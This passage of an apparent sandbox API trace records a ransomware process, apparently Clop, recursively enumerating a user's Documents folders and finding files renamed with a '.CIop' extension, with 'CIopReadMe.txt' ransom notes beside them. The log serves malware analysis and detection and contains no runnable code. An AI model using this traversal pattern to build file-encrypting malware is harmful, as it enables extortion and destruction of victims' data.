lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0128.248] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0128.249] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0128.249] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0128.249] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.249] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.249] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0128.249] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0128.249] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.249] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0128.249] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0128.249] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0128.249] SetErrorMode (uMode=0x1) returned 0x1 [0128.249] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0128.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0128.249] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0128.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0128.249] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67ddb8 [0128.249] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0128.249] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0128.249] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.249] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0128.249] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0128.250] lstrlenW (lpString=".CIop") returned 5 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0128.250] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0128.250] lstrlenW (lpString=".CIop") returned 5 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.250] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.250] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0128.250] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0128.250] lstrlenW (lpString=".CIop") returned 5 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0128.250] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0128.250] lstrlenW (lpString=".CIop") returned 5 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0128.250] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0128.250] lstrlenW (lpString=".CIop") returned 5 [0128.250] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.250] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0128.250] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0128.250] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0128.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0128.250] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0128.250] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0128.250] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.250] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.251] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.251] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.251] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0128.251] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0128.251] SetErrorMode (uMode=0x1) returned 0x1 [0128.251] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0128.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0128.251] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0128.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0128.251] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67def8 [0128.251] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0128.251] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0128.251] lstrlenW (lpString=".CIop") returned 5 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0128.251] lstrlenW (lpString=".CIop") returned 5 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.251] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0128.251] lstrlenW (lpString=".CIop") returned 5 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.251] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2="..") returned 1 [0128.251] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2=".") returned 1 [0128.251] lstrlenW (lpString=".CIop") returned 5 [0128.251] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0128.252] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0128.252] lstrlenW (lpString=".CIop") returned 5 [0128.252] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.252] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 1 [0128.252] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 0 [0128.252] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0128.252] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0128.252] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0128.252] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0128.252] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.252] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.253] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0128.253] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0128.253] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0128.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0128.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0128.253] SetErrorMode (uMode=0x1) returned 0x1 [0128.253] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0128.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0128.253] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0128.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0128.253] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67db78 [0128.253] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0128.253] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0128.253] FindNextFileW (in: hFindFile=0x67db78, 